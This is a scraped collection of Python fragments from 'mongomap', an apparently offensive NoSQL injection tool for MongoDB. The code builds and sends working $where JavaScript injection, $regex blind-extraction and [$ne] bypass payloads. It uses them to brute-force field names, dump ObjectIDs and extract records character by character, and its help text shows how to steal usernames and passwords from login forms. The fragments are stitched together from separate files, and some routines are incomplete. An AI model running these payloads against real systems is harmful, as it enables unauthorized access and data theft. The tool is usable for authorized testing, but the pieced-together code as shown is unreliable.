def dumpEntry(self, var=[], retry=0):
        charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ '\"!#$%&._()*+,-/:;<=>?@{|}[]^`~"
        i = 0
        while True:
            i += 1
            if i > 500:
                bold("".join(var))
                if question("This entry seems abnormally long. Skip it?"):
                    break
            prev = len(var)
            threads = []
            for c in charset:
                if len(threads) > self.scanner.maxthreads:
                    threads.pop().join()
                thread = threading.Thread(target=self.dumpEntryChar,
                                          args=(var, c))
                threads.append(thread)
                thread.start()

            for thread in threads:
                thread.join()

            if prev == len(var):
                break
        entry = "".join(var).replace("\\\\",
                                     '\\').replace("\\\'",
                                                   "'").replace("\\\"", '"')
        if entry != "":
            bold("Found an entry: " + entry)
            self.entries.append(entry)
        else:
            failure(
                "Failed to fetch an entry. Maybe it was a false positive or internet delay?"
            )
    def vulnTest(self):
        failPayl = "\\"
        data = copy.deepcopy(self.scanner.data)
        data[self.param] = failPayl
        self.scanner.textErrorBaseline = self.scanner.sendData(data).text

        if self.scanner.textErrorBaseline != self.scanner.textBaseline:
            success("Basic check succeeded!")
        else:
            bold("Basic check failed. The rest of this module may not work.")

        for options in self.getAllOptions():
            verbose("Testing with: " + str(options))
            data = copy.deepcopy(self.scanner.data)
            data[self.param] = self.buildPayload(
                options,
                "; if(JSON.stringify(this).startsWith('{')){ return this; }; var dum = "
            )
            req = self.scanner.sendData(data)
            if req.text != self.scanner.textErrorBaseline:
                self.options = options
                success("Error-based content check worked!")
                success("Payload built!")
                return True
        return False
Exemplo n.º 3
0
def banner():
    file = open("banner.txt", "r", encoding="utf-8")
    banner = file.read().strip().split("\n")
    file.close()
    for line in banner:
        yellow(line)

    bold("v1.0.0")
 def doc(self):
     bold("--Description--")
     print(
         "This module is an abandoned technique that was made inferior due to JSONStringify."
     )
     print(
         "It works by attempting to retrieve objectIDs via startsWith checks. It will then use these\
     IDs to try and gather ID-related data. This method was much slower due to how long it took to\
     gather object IDs")
    def grabDataFromID(self, objectID):
        dump = {}
        for attribute in self.scanner.element_attributes:
            if attribute == "_id":
                continue
            length = -1
            value = None
            try:
                testLength = 0
                bold("Attempting to retrieve length of " + attribute +
                     " for ID " + objectID)
                while length == -1:
                    testLength += 1
                    if testLength == 70:
                        if question(
                                "The length seems unnaturally long. Skip this attribute?"
                        ):
                            break
                    regex = "^" + "." * testLength + "$"
                    payload = self.buildPayload(
                        self.options,
                        " || this." + attribute + ".toString().match(\\\"" +
                        regex + "\\\") && this._id.str == '" + objectID)
                    data = copy.deepcopy(self.scanner.data)
                    data[self.param] = payload
                    req = self.scanner.sendData(data)
                    check = self.scanner.check(req)
                    if check != "none":
                        length = testLength
                        success("Retrieved length " + str(testLength) +
                                " for " + attribute + " for ID " + objectID)

            except Exception as e:
                print(e)
                failure("Failed to retrieve exact length for " + attribute +
                        " for ID " + objectID)

            try:
                if length == -1:
                    failure("Failed to retrieve " + attribute + " for ID " +
                            objectID)
                    continue

                bold("Attempting to retrieve value of " + attribute +
                     " for ID " + objectID)

            except Exception as e:
                print(e)
                failure("Failed to retrieve value of " + attribute +
                        " for ID " + objectID)

            dump[attribute] = {
                "length": length,
                "value": value
            }
        return dump
 def grabData(self):
     bold(
         "Be warned that this module may take some time to retrieve output."
     )
     if not question("Omit ObjectID from dump? (Faster)"):
         self.slice = ""
     self.grabEntries()
     if len(self.entries) == 0:
         failure("Failed to fetch any entries.")
         return None
     return ["Found Entries:"] + self.entries
Exemplo n.º 7
0
def showTechniques():
    plain("")
    bold("--Techniques--")
    plain("")
    tests = getTests("", "", Scanner("http://localhost/index.php?me=a"))
    print(" %-5s|%-6s|%-20s" % ("ID", "Type", "Name"))
    print("_" * 50)
    for testname in tests:
        test = tests[testname]
        print(" %-5d|%-6s|%-20s" % (test.getID(), test.getType(), testname))
    plain("")
    bold("Use the -t command with -h to show help regarding each technique.")
 def grabData(self):
     bold(
         "Be warned that this module may take some time to retrieve output."
     )
     if not question("Omit ObjectID from dump? (Faster)"):
         self.slice = ""
     self.grabEntries()
     if len(self.entries) == 0:
         failure(
             "Nothing was retrieved with this module. Maybe false positive?"
         )
         return None
     return ["Found Entries:"] + self.entries
Exemplo n.º 9
0
    def doc(self):
        bold("--Description--");
        print("Attempts to exploit javascript injection in a mongodb injection point to trigger \
unwanted behaviour from MongoDB");
        print("");
        bold("--How it works--");
        print("The target must be using a '$where' check, with a javascript function parsed in string.");
        print("This module will send a payload looking like one of these:");
        print("'; return this; var dum = '");
        print("'; return this; var dum = ");
        print("; return this; var dum = '");
        print("; return this; var dum = ''");
        print("; return this; var dum = ");
        print("\"; return this; var dum = \"");
        print("\"; return this; var dum = ");
        print("; return this; var dum = \"");
        print("; return this; var dum = \"\"");
        print("If a difference in webpage content, status or cookies is detected, \
this module will find it.");
        bold("--Output--");
        print("This module will output differences it finds.");
        bold("--Extra Notes--");
        print("Not to be confused with whereAlwaysTrueInjection. This module requires a javascript execution \
point to function.");
        print("This may have some false positives if the target is also vulnerable to whereAlwaysTrueInjection.");
Exemplo n.º 10
0
    def doc(self):
        bold("--Description--")
        print(
            "Attempts to exploit a one liner where check in a mongodb injection point to display \
data, bypassing any mongodb check.")
        print("")
        bold("--How it works--")
        print(
            "The target must be using a '$where' check that is only a one liner. Example:"
        )
        print("$where: \"this.username == '\".$_POST[\"username\"].\"'\"")
        print("This module will send a payload looking like one of these:")
        print("' ||  '' ==  '")
        print("' ||  '' ==  ")
        print(" ||  '' ==  '")
        print(" ||  '' ==  ''")
        print(" ||  '' ==  ")
        print("\" ||  '' ==  \"")
        print("\" ||  '' ==  ")
        print(" ||  '' ==  \"")
        print(" ||  '' ==  \"\"")
        print(
            "If a difference in webpage content, status or cookies is detected, \
this module will find it.")
        bold("--Output--")
        print("This module will output differences it finds.")
        bold("--Extra Notes--")
        print(
            "Not to be confused with whereAlwaysTrueFunctionInjection. If the target has a javascript \
function in their $where, and the injection point is not in the return area, then this \
module may not work.")
        print(
            "This may have some false positives if the target is also vulnerable to whereAlwaysTrueFunctionInjection."
        )
Exemplo n.º 11
0
    def doc(self):
        bold("--Description--");
        print("Attempts to send an array with a regex parameter instead of single values via \
post/get requests in order to steal data sequentially with blind injection.");
        print("");
        bold("--How it works--");
        print("First, the module will test if the target is vulnerable (payload is 'param[$regex]=.').");
        print("Then, the module will attempt to gather the data's maximum length with blind injection \
by repeating a length regex check like so:");
        print("param[$regex]=.{1}");
        print("param[$regex]=.{2}");
        print("param[$regex]=.{3}");
        print("Until the site shows a difference. The module will use the payload 'param[$regex]=^.{length}$' \
in order to retrieve some different lengths.");
        print("For every length retrieved, the module will attempt to steal one piece of data. This is done \
with repeated regex checks, like such:");
        print("The example here will use the value 'admin'");
        print("param[$regex]=a.{4}");
        print("param[$regex]=aa.{3}");
        print("param[$regex]=ab.{3}");
        print("param[$regex]=ac.{3}");
        print("param[$regex]=ad.{3}");
        print("param[$regex]=ada.{2}");
        print("This repeats until 'admin' can be found.");
        bold("--Output--");
        print("This module will output any values it can steal via this method.");
        bold("--Extra Notes--");
        print("This module currently cannot steal all values present in the database. Values of the \
same length will not be stolen as they currently are not differentiated from other values.");
        print("This module can be paired very well with some manual [$ne] tags. For example, if you are \
dealing with a login form, and you know no usernames, you can start with this:");
        print("mongomap.py -u http://target.com/ -method post -data 'username=1&password[$ne]=1' -p username");
        print("This will show as many usernames as the module can find. You can then steal assosiated \
passwords with:");
        print("mongomap.py -u http://target.com/ -method post -data 'username=stolenuser&password=1' -p password");
Exemplo n.º 12
0
    def doc(self):
        bold("--Description--")
        print(
            "Attempts to send an array with a not-equal parameter instead of single values via \
post/get requests.")
        print("")
        bold("--How it works--")
        print(
            "For example, if your request data was ?search=stuff, where search was your vulnerable \
parameter, then this module will attempt to send ?search[$ne]=1 instead. MongoDB will then \
parse this as 'if entry is not equal to 1', and return found entries. If this module is \
successful, it is recommended to perform manual injection with this method. It may give you \
unauthorised access.")
        bold("--Output--")
        print(
            "This module will attempt to track differences in website content, status code, \
and cookies. If a difference is detected, the difference will be displayed in console."
        )
        bold("--Extra Notes--")
        print(
            "This module will try different combinations of parameters with the [$ne] addition \
in order to figure out what combination will yield the best outcome.")
        print(
            "E.g. Your test data is 'username=1&password=1'. For the parameter username, the \
program will try: 'username[$ne]=1&password=1' and 'username[$ne]=1&password[$ne]=1'."
        )
    def grabData(self):
        if len(self.scanner.element_attributes) > 0:
            if question(
                    "There are already some found attributes. Do you want to find again with this module?"
            ):
                self.grabElementAttributes()
        else:
            self.grabElementAttributes()

        if len(self.scanner.element_attributes) > 0:
            success("Some attributes are present. We can proceed to step 2.")
            bold("Attributes to be used:")
            for attribute in self.scanner.element_attributes:
                bold("- " + attribute)
        else:
            failure("No attributes could be found. We cannot dump anything.")
            return None

        if len(self.scanner.objectIDs) > 0:
            if question(
                    "There are already some found IDs. Do you want to find again with this module?"
            ):
                self.grabIDs()
        else:
            self.grabIDs()

        if len(self.scanner.objectIDs) == 0:
            failure("No IDs found. Database may be empty.")
            return None

        if len(self.scanner.objectIDs) > 0:
            success("Some ObjectIDs are present. Proceeding with step 3.")

        grabbedData = {}
        for objectID in self.scanner.objectIDs:
            dump = self.grabDataFromID(objectID)
            grabbedData[objectID] = dump

        output = []
        for id in grabbedData:
            output.append(id)
            dump = grabbedData[id]
            for attrib in dump:
                value = dump[attrib]["value"]
                output.append("\t" + attrib + " : " + str(value))

        return ["Element Attributes:"] + self.scanner.element_attributes + [
            "", "Object IDs:"
        ] + self.objectIDs
    def doc(self):
        bold("--Description--")
        print(
            "Attempts to exploit javascript injection in a mongodb injection point to gather \
data via blind injection. Uses JSONStringify to get json objects in the form of strings."
        )
        print("")
        bold("--How it works--")
        print(
            "The target must be using a '$where' check, with a javascript function parsed in string."
        )
        print(
            "This module will use JSONStringify and startsWith to gather data. Payloads look like these:"
        )
        print(
            "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"')){ return this; }; var dum = '"
        )
        print(
            "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"u')){ return this; }; var dum = '"
        )
        print(
            "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"us')){ return this; }; var dum = '"
        )
        print(
            "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"use')){ return this; }; var dum = '"
        )
        print(
            "'; if(JSON.stringify(this).slice(42,-1).startsWith('\"user')){ return this; }; var dum = '"
        )
        print(
            "If a difference in webpage content, status or cookies is detected, \
this module will be able to extract values one letter at a time until a whole value is found."
        )
        bold("--Output--")
        print(
            "This module will output any values it can steal via this method.")
        bold("--Extra Notes--")
        print(
            ".slice(42,-01) is added if you want to omit ObjectID dumping. It will speed up the module \
significantly, since objectIDs are pretty long. You can still dump objectIDs by answering the console prompt."
        )
        print(
            "Like whereAlwaysTrueFunctionInjection, the trailing and leading quotes are added and removed \
to test automatically for different injection points.")
        print(
            "This module will fail to find some results in slow network conditions. If you only get 1 entry, \
it is recommended to rerun this module.")
        print(
            "This may have some false positives if the target is also vulnerable to whereAlwaysTrueInjection."
        )
        print(
            "Setting maxthreads beyond a certain limit does not increase the speed of this module. Feel free to \
set maxthreads as high as you want.")
    def grabElementAttributes(self):
        if len(self.scanner.element_attributes) > 0:
            if not question(
                    "There were some element attributes previously found. Try finding attributes again?"
            ):
                return
        bold(
            "A bruteforce method is being used to recover columns. This may take a while."
        )

        file = open("txt/common-columns.txt", "r")
        common = file.read().strip().split("\n")
        file.close()

        threads = []
        newAttributes = []
        tried = 0
        for attribute in common:
            tried += 1
            if tried > self.scanner.maxbrute and self.scanner.maxbrute != 0:
                info(
                    "Tested for " + str(self.scanner.maxbrute) +
                    " attributes out of " + str(len(common)) +
                    ". Use the -maxbrute flag to increase the number of tests."
                )
                break
            if len(threads) > self.scanner.maxthreads:
                threads.pop().join()
            verbose("Trying attribute " + attribute)
            thread = threading.Thread(target=self.tryElementAttribute,
                                      args=(attribute, newAttributes))
            threads.append(thread)
            thread.start()

        for thread in threads:
            thread.join()

        for attribute in newAttributes:
            self.scanner.element_attributes.append(attribute)
Exemplo n.º 16
0
    def vulnTest(self):
        failPayl = "\\";
        data = copy.deepcopy(self.scanner.data);
        data[self.param] = failPayl;
        self.scanner.textErrorBaseline = self.scanner.sendData(data).text;

        if self.scanner.textErrorBaseline != self.scanner.textBaseline:
            success("Basic check succeeded!");
        else:
            bold("Basic check failed. The rest of this module may not work.");
        
        for options in self.getAllOptions():
            verbose("Testing with: " + str(options));
            data = copy.deepcopy(self.scanner.data);
            data[self.param] = self.buildPayload(options,"; return this; var dum = ");
            req = self.scanner.sendData(data);
            if req.text != self.scanner.textErrorBaseline:
                self.options = options;
                success("Error-based content check worked!");
                success("Payload built!");
                success(data[self.param]);
                return True;
        return False;
    def dumpIDValue(self, var=[], retry=0):
        charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\!#$%&._()*+,-/:;<=>?@{|}[]^`~"

        while len(var) < 24:
            prev = len(var)
            threads = []
            for c in charset:
                if len(threads) > self.scanner.maxthreads:
                    threads.pop().join()
                thread = threading.Thread(target=self.dumpIDChar,
                                          args=(var, c))
                threads.append(thread)
                thread.start()

            for thread in threads:
                thread.join()

            if prev == len(var):
                failure("Something went wrong.")
                if retry < 10:
                    self.dumpIDValue(var, retry + 1)
        bold("Found an ObjectID: " + "".join(var))
        self.objectIDs.append("".join(var))
    def grabIDs(self):

        if "_id" not in self.scanner.element_attributes:
            #All elements MUST have _id. If this was not found, then this probably wasn't an element.
            failure("_id was not one of the found attributes. Cannot dump.")
        else:
            self.keyAttribute = "_id"
        bold("Using " + self.keyAttribute + " as a unique key.")

        self.toGrabInFuture = []
        self.dumpIDValue()

        threads = []
        while len(self.toGrabInFuture) > 0:
            var = self.toGrabInFuture.pop()
            self.dumpIDValue(var=var, retry=5)

        for id in self.objectIDs:
            if id not in self.scanner.objectIDs:
                success("New ObjectID: " + id)
                self.scanner.objectIDs.append(id)
            else:
                bold("Re-confirmed id: " + id)
Exemplo n.º 19
0
    def handleData(self):
        strData = self.data
        if self.method == "get" and strData == "":
            split = self.url.split("?")
            if len(split) != 2:
                failure(
                    "Get request method selected, but url has no get parameters"
                )
                sys.exit(1)
            else:
                self.explodeData(split[1])
                self.url = split[0]
        elif self.method == "post":
            self.explodeData(strData)
        elif self.method == "json":
            pass
            #Already in the correct form.

        if "/" not in self.url.replace("://", ""):
            bold("URL: " + self.url)
            if question(
                    "There is no / in your url. Do you want to add a trailing slash?"
            ):
                self.url += "/"
Exemplo n.º 20
0
def main():
    colinit()
    banner()
    #Initiations
    parsed = extractArgs()
    scanner = initScanner(parsed)

    #Test connection to target
    if scanner.testConnection():
        success("URL can be reached.")
    else:
        failure(scanner.url + " cannot be reached. Did you forget http://?")
        sys.exit(1)

    print()

    params = scanner.getParams()

    if "v" in parsed:
        setVerbose(True)

    if "p" in parsed:
        toTest = parsed["p"].split(",")
        for param in toTest:
            if param not in params:
                failure("Param, " + param +
                        " is not provided in your get/post data!")
                sys.exit(1)
        params = toTest

    verbose("Going to test the following parameters:")
    for param in params:
        verbose(param)

    print()

    bold("Beginning testing phase.")
    vulnParams = {}
    tested = 0
    for param in params:
        tested += 1
        bold("Testing for param " + param)
        successes = scanner.testParam(param)
        if len(successes) > 0:
            vulnParams[param] = successes
            success(param + " is injectible.")
            if tested < len(params):
                if not question("Continue testing other parameters?"):
                    break

    print()
    bold("Test phase completed.")

    if len(vulnParams) == 0:
        failure("No vulnerable parameters found.")
        sys.exit(1)

    print()
    success("Vulnerable Parameters:")
    for param in vulnParams:
        success(param)
        for vuln in vulnParams[param]:
            success("- " + vuln)

    print()
    info("Attempting to dump data...")

    for param in vulnParams:
        bold("Parameter: " + param)
        for vuln in vulnParams[param]:
            print()
            bold("Attemping dump with " + vuln + " on param " + param)
            print()
            dump = scanner.dumpData(param, vuln)
            if dump == None:
                print()
                failure(vuln + " for " + param + " failed to dump.")
            else:
                print()
                success(vuln + " for " + param + " has retrieved:")
                if type(dump) == type("str"):
                    success("\t" + dump)
                elif type(dump) == type({}):
                    for key in dump:
                        success("\t" + str(key) + " : " + str(dump[key]))
                elif type(dump) == type([]):
                    for i in dump:
                        success("\t" + str(i))
            print()
Exemplo n.º 21
0
def showHelp():
    bold("Usage: mongomap -u [url] ...")
    plain("")
    plain(
        "-u" + "\t\t" +
        "Refers to the URL of the target. Includes port and get parameters if you are using get requests."
    )
    plain(
        "--method" + "\t" +
        "Set to either \"post\" or \"get\". By default, this will be set to \"get\""
    )
    plain(
        "--data" + "\t" +
        "If you are using post or json requests, use this option to specify post data"
    )
    plain(
        "--file" + "\t" +
        "Same as --data, but you specify a file containing the parameters instead."
    )
    plain("")
    bold("--Flexibility--")
    plain("--cookies" + "\t" +
          "Set cookies to send. Separate different cookies with &")
    plain("--headers" + "\t" +
          "Specifies a header to send. Separate different headers with ;")
    plain(
        "--maxbrute" + "\t" +
        "Default value is 100. This is the maximum number of bruteforce attempts the program will try. Set to 0 for limitless."
    )
    plain(
        "--maxthreads" + "\t" +
        "Default value is 50. This is the maximum number of concurent threads the program will spawn."
    )
    plain(
        "--csrftoken" + "\t" +
        "Specify the csrftoken to be checked for. You must modify code for this option to work."
    )
    plain(
        "--ignorecheck" + "\t" +
        "Ignore a certain check. Set these when false positives are found. Can be set to the following."
    )
    plain("")
    plain(
        "\t" +
        "text --- Ignore website content comparisons. Useful for combatting CSRF."
    )
    plain("\t" + "status --- Ignore status code comparison")
    plain("\t" + "url --- Ignore redirect URL comparison")
    plain("")
    plain(
        "--maxthreads" + "\t" +
        "Default value is 50. This is the maximum number of concurent threads the program will spawn."
    )
    plain("-t" + "\t" + "Specify some technique IDs to use.")
    plain("")
    bold("--Post-Detection--")
    plain(
        "--dump" + "\t" +
        "Attempts to retrieve as much information as possible via detected injection methods. If no other post-detection options are used, dump will be used by default."
    )
    #plain("--objectids" + "\t" + "Specify a list of objectIDs to try to grab data from. Separate with commas.");
    plain("")
    bold("--Help and Documentation--")
    plain(
        "-h --help" + "\t" +
        "Shows this help page. Use with -t to display documentation regarding the specified techniques"
    )
    plain("-ts --techniques" + "\t" + "Display all techniques.")
    plain("")
    bold("--Examples--")
    bold("mongomap -u http://challenger.com?sad=22")
    bold("mongomap -u http://localhost:2222?search=1 -t 324")
    bold("mongomap -u http://localhost:2222?search=1 -t w")
    bold(
        "mongomap -u http://192.168.1.321 --method post --data \"username=hi&password=letmein\""
    )
    bold(
        "mongomap -u https://target.com:1231?foo=1 --cookies \"PHPSESSID=1242345234512345&ID=123\""
    )
    bold(
        "mongomap -u http://10.10.10.123 --method post --data search=1 --headers \"Host: administrator1.friendzone.red; User-Agent: imlazytotypethis\""
    )
    bold(
        "mongomap -u http://152.104.10.55:20001/v1/account/login --method json --data {\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"1\\\"}"
    )
    bold(
        "mongomap -u http://175.104.10.55:20001/v1/account/login --method json --data {\\\"username\\\":{\\\"$ne\\\":\\\"1\\\"},\\\"password\\\":\\\"1\\\"}"
    )
    bold(
        "mongomap -u http://112.104.10.55:20001/v1/account/login --method json --file params.txt"
    )
    plain("")